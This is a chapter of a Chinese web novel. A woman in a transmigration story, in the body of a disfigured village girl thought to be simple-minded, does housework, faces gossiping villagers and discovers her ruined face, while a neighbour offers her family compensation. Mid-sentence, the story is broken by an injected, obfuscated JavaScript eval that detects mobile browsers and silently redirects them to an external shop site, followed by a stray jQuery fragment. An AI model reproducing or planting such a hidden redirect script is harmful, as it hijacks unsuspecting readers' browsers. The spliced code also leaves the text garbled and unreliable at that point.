“唰唰唰!”
屋内响起丁零当啷伴随唰唰的声响,小冬瓜站在灶旁,看着锅边的云昭,穿着云母的围裙,挽着袖子,叮铃哐啷的擦洗着碗筷。
与奶奶和阿娘微不可察的动静相比,阿姑的动作似乎有些手忙脚乱,声音也更响亮一些,小冬瓜听着那动静,目光担忧的看着云昭手中的碗,只觉得心惊肉跳,这是在洗碗还是在打碗……
“阿姑……”
小冬瓜的声音在身畔响起,云昭转头看去,对上他一脸复杂的神情,略觉好笑,轻声问道“怎么了?小冬瓜?”
“阿姑,要不我来洗吧。”
云昭怀疑自己听错了,不可置信的看向小冬“你说什么?”
“阿姑你以前都不会洗碗,还是我来洗吧。”
小冬瓜说着就要去拿云昭手中的碗筷,云昭这才恍然,自己这是被一个五六岁的小孩嫌弃了。
头上冒出三条黑线,云昭郁闷半晌,现代用的都是洗碗机,这么复古的洗碗方式自己确实很少尝试,这才有些生疏。
眼见小冬瓜就要接走手中的活,云昭连忙将他抱下板凳,掩饰道“阿姑那是洗的少,洗个几次就熟练了,你去玩吧。”
云昭说完,小冬瓜却没有动作,仍是一脸不放心的站在一旁,紧张的看着云昭手中的动作,云昭看着他操心的那样,心下叹了口气,得,被小孩嫌弃了。
惊心动魄的洗碗工程结束(小冬瓜眼中的),云昭转身走到院子里,打算找点别的活。溜到鸡圈前,鸡鸭已经吃的饱饱,慵懒的啄毛,云昭眸光对上一旁见底的水盆,眼前一亮,连忙打了一瓢水添了进去。
做完这事,她拍了拍掌,露出满意的笑容,在小冬瓜莫名其妙的眼神中,继续找活。
找了半天,只见屋子、院子里都扫的干干净净,一片菜叶子,一块泥巴都没有,可见这一家人的勤劳、麻利。
她不死心的四处逡巡,当目光落在角落的木盆里,几件云母来不及浣洗的衣物时,眼前一亮,走了过去。
云昭看着木盆里的几件粗布衣衫,眨了眨眼,一脸期待看向小冬瓜“小冬瓜,我去洗衣服,你去不去?”
小冬瓜看着兴致勃勃的云昭,犹豫片刻,缓缓点头。
云昭端起木盆,学着记忆中云母和阿秀的样子,将一旁的皂角和棒槌放进盆中,拉着小冬瓜朝外走去。
关上院门,云昭一手挎住木盆,一手牵过小冬瓜,循着大脑中的记忆,向着村民们平日浣洗衣物的大池塘走去。
再说道桃源村,一个不大不小的村庄,坐落在两城交界,生活着几十户人家,宛若世外桃源一般安静清幽。
村子靠后有一汪圆形的池塘,水由山间流淌而来,池塘水质清澈,村民基本都是在这汪池塘中清洗瓜果蔬菜,浣洗衣物。
云家小院在镇子的东南边,离得不算远,穿过小半个村子就能到达。
小冬瓜瞥了眼身旁的云昭,瞧见她一脸怡然自得,犹豫说道“阿姑,你会洗衣服吗?要不还是等奶奶和阿娘回来再洗吧。”
“洗衣服,那有什么难的。”云昭低眸看了眼身旁的小冬瓜,一脸不足为道。
小冬瓜看着她信誓旦旦的模样,眼神中透出一丝怀疑。
“咦,那不是傻子吗?她好了?”
擦身而过的村民转头看向方才嘀嘀咕咕走过的姑侄俩,目中露出一丝疑惑。
云昭起先并未发觉,走着走着,渐渐留意到路人打量的神色,转头看去,这才发现,不知何时,沿途的屋子前,竟陆陆续续站出神色怪异的村民。
又走过一段路,看着左侧路边站着交头接耳的两个姑娘,眼神若有似无的朝着自己瞥去,眸色不明,灵敏的云昭瞬间察觉异样。
眉头一皱,云昭抿着唇,拉紧了手中小冬瓜,不露声色继续向前走去。直到看到不远处的池塘,云昭神色一缓,朝着池塘边走去。
“小冬瓜,你站在边上等我,不要乱动!”云昭看向一旁神色紧张的小冬瓜,温声叮嘱道。
小冬瓜瞥了眼不远处越来越多无意“经过”的村民,小脸皱着,看向面前的云昭,紧张的点了点头。
云昭拿出盆中的皂角和棒槌,将衣物倒在面前的大石板上,拿过一件褐色的粗布短衫,随手扯着在水边打湿了水,放在面前的石板上,用皂角仔细的抹了一遍,而后拿起了一旁的棒槌,“砰砰砰!”捶了起来。
一旁的小冬瓜看着她若有其事的模样,目中闪过一丝惊讶:没想到,阿姑真的会洗衣服,看来,阿姑真的好了。
想到这,他心下一喜,蹲下身子,捧着脸一脸开心的看着池塘边的云昭。
“咦,云霄,那不是你的傻子堂妹吗?”
几个十几岁左右的姑娘端着木盆从不远处走来,中间那个五官还算清秀,皮肤略黄的女子听到二丫的话,抬头看去,一眼便看见岸边站着的小冬瓜和云昭,眸头不由的皱起。
“不是说昏迷不醒,都要准备后事了吗?她居然没死呢,真是命大。”
嘘声在耳畔响起,云霄听着身旁的议论,看着不远处那张五颜六色、丑陋不堪的脸,面上浮起疑惑。
一旁的梅香看着池塘边的女子,一脸疑惑“那傻子……何时会洗衣了?”
“梅香,你在想什么?洗衣服这么简单的事,就算是傻子,看个几遍都能会。”林杏儿看着神色狐疑的云霄和梅香,嗤笑一声说道。
“是啊,这又不难,小孩子都会洗衣服,有什么稀奇的?”二丫听到杏儿的话,赞同点头。
这几人一时竟忘了洗衣,站在岸边议论起来不止几人,那在家看门、做饭的村妇和大大小小姑娘们竟不知何时都出了门,三三两两凑在一起,看着不远处的云昭,低声议论。
小冬瓜早已注意到了周遭的动静,他皱着眉头看着岸边越来越多的人群,低头看向云昭,踌躇说道“阿姑…我们还是回家吧,衣服,奶奶和娘会洗的。”
“小冬瓜,她们还要做农活,忙不过来,我很快就好了,你在等一会,好吗?”
云昭抬头看向一旁的小冬瓜,柔声安抚。却见他神正色紧张的环顾着周围,云昭一愣,下意识抬头看去。
只见岸边不知何时竟围着许多的村民们,正交头接耳,目光时不时朝着这边打量,窃窃私语着,有的目光中甚至透出了明晃晃的讥讽和嘲笑。
云昭心下一沉,眼看人越来越多,眉头一皱。
大抵是傻的厉害,混沌的记忆中的原身似乎并不会做家务,自己只顾着帮家人承担家务,却忘记这些八卦多舌的村民们,看来,“傻子”洗衣给他们带来不小的震惊。这样下去,一会就不是洗衣,而是被人当成猴看了。
“小冬瓜,这件衣服洗好,咱们就回家。”
小冬瓜闻言,紧皱的眉头一松,面上露出笑容。
云昭看着手中沾了皂角的衣服,决定将这件衣服过干净水,就回家。她拿起衣服弯下身子,朝着水面倾身,小冬瓜站在一旁看着她小心翼翼的动作。
“啊!!!”
尖锐的叫声突兀响起,小冬瓜被惊吓,忍不住打了个机灵。
“阿姑?阿姑?”
小冬瓜看着云昭一动不动的背影,焦急呼唤。
清澈的水面倒映出一张张花花绿绿,丑陋不堪的面容,云昭彻底傻眼。
周遭议论的声音越发明显,云昭看了眼水中那张瘆人的脸,眸色一暗,连忙将手中的衣物胡乱裹在了盆中,牵过一旁惊慌不已的小冬瓜,脚步匆匆离去。
“阿姑……”
小冬瓜被牵着,脚步匆匆,他不知道云昭受了什么刺激,小心喊道,却见云昭一言不发的凝重神情。
“怎么了?怎么了?那傻子怎么突然叫唤,吓死人了!”
“是啊,真是吓人!梅香,你不是说她好了吗,这哪里像好的样子?”
二丫抚着心口,嗔怪的看向之前开口的梅香。梅香听到这话,眼睛一瞪,不服道“我什么时候说她好了?只是从前从未瞧过她洗衣,还以为……”
话还未说完,一旁的杏儿瞥了她一眼,嘀咕道
“大惊小怪……”
梅香看着她俩阴阳怪气的模样,气不打一处来,瞪了她俩一眼,端着木盆朝池塘边走去。
二丫看着她的背影,悻悻说了句“说的玩玩,她还生气,嘁,真小气……”
“就是……”一旁的杏儿也忍不住嘀咕了一句。
姑侄二人渐渐走远,消失在巷子里,云霄收回视线,看着先行一步的梅香,又转头看向身旁嘀嘀咕咕的杏儿和二丫,面上露出一丝不耐
“你们两个,少说几句,干嘛为了一个傻子争执?”
说完,她端着木盆朝着前面的梅香追去,梅香可是那人的亲妹子,与她交好只有好处,没有坏处,要知道她可是废了不少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634202|206504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心思才与她交好,可不能被这两个没有脑子的坏事。
二丫和杏儿闻言,对视一眼,撇了撇嘴,跟上了云霄。
很快,云昭看到了熟悉的小院,她连忙上前打开了院门,拉着小冬瓜进了门。
“阿姑,你怎么了?”
茫然的小冬瓜看着面前的云昭弱弱问道,乌黑的大眼睛中闪过一丝担忧。
云昭闻言回过神来,连忙看向他“小冬瓜,有没有镜子?”
“阿姑,你要镜子干嘛?”小冬瓜大大的眼睛,透出浓浓的疑惑。
“你先告诉阿姑,家里有没有镜子?”云昭弯下身,又问了一遍。
小冬瓜瞧着她面上的严肃,点了点头“阿娘房间里有,我去给你拿。”
说完,转身“腾腾腾”朝着云朗和阿秀的房间跑去。没过一会,肉滚滚的手中拿着一块巴掌大的小铜镜,小冬瓜哼哧哼哧跨过门槛,举着小手凑到云昭面前。
“阿姑,给。”
云昭双手微颤,接过,而后转身朝着自己的屋里走去。小冬瓜看着她不同寻常的神色,灵敏的嗅到一丝不对,小心翼翼的提步跟了过去。
刚走到门边,就见云昭左手握着那巴掌大的铜镜,右手颤抖着摸上自己的脸,片刻后,那面上露出惊恐万分的神色。
“啊啊啊啊啊啊!!!”
小冬瓜看着屋内抓狂的云昭,面上一震,乌黑的大眼中闪过一丝恐惧,连忙转身跑去。
不好!阿姑又疯了,得快去找爷奶还有爹娘!
云父、云朗和阿秀天不亮就到了田间,最近是春耕时节,几人忙着犁田,准备播种,家中没有健壮的黄牛,只能依靠人力锄田,云朗拉着沉重的木犁,云父在一旁推着,云母和阿秀则是负责播种。
闻誉来到田埂边,瞧见的就是一家人大汗淋漓,辛勤劳作的景象,闻誉看着不远处的云父云母,眉头一皱,面上露出一丝忐忑,片刻后,眸光一沉,似下定决心一般,沉声喊道
“云大哥!”
云家几人正干的起劲,忽的听到田埂边的呼唤,下意识循声望去,瞧见田埂边站着的闻誉,手上的动作不由得停下,面面相视。
田埂边,云家一家人看着对面的闻誉,正不拘小节的随他们一般坐在黄土上,看向几人的神色欲言又止。
云父看着对面神纠结的闻誉,沉声说道“闻大官人,我们还忙着播种,您要是有事,不妨直说。”
闻誉看着对面正一脸疑惑看着自己的一家人,面上露出一丝尴尬“既如此,那闻某就不藏着掖着了,云大哥,云大嫂,我来找你们,是为了云昭落水一事。”
此话一出,云家众人一愣,云朗更是下意识开口“闻先生,那日昭昭落水,张大爷似看见闻晏与昭昭发生争执,敢问此事是否与闻晏有关?”
云父没想到云朗竟如此直接发问,不由得看了眼对面的闻誉,正打算看他如何回应。
就见他面上一滞,而后小心的打量了眼四周,见周围并无多余的人,于是他神色一缓,看着对面的云家几人缓缓开口。
闻誉将落水的缘由经过缓缓道来,他声音和煦,如春天的微风沁人心脾,可云家几人,听着听着却是变色一变,神色各异。
闻誉刚刚说完,性急的云朗更是迫不及待的开了口“这只是闻晏的一面之词,谁知道他说的是真是假。再说了,他又为何不来,是无颜面对我们吗?”
闻誉看着对面的四人,云父沉着脸不说话,一旁的云朗则是一脸激动,满脸狐疑,云母和阿秀则是不知所措的看着沉默不语的看着二人。
“此事千真万确,若是有半点隐瞒,我就辞去书院一职,任凭你们处置。”
此话一出,情绪激动的云朗也不由的一愣,怔怔的看着面前神色认真的闻誉。
一旁静默不语的云父,看了半响对面一脸正色的闻誉,沉沉开了口“闻大官人的意思是?”
闻誉瞧见云父开了口,眼底露出一丝希冀“此事两个孩子都有责任,可是云昭痴傻,那闻晏自然就成了众矢之的,他虽然无心,却不够小心,酿的如此局面。”
闻誉一边着,一边观察着对面的云父神色,见他面色并无显露其他,又接着说道“倘若云昭遭遇不测,我们愿意赔偿你们。”
说完,他一脸期待看向云父,云父眉头紧锁,还未出声,一旁的云朗嗤笑一声,一脸不屑“赔偿?你打算怎么赔偿?”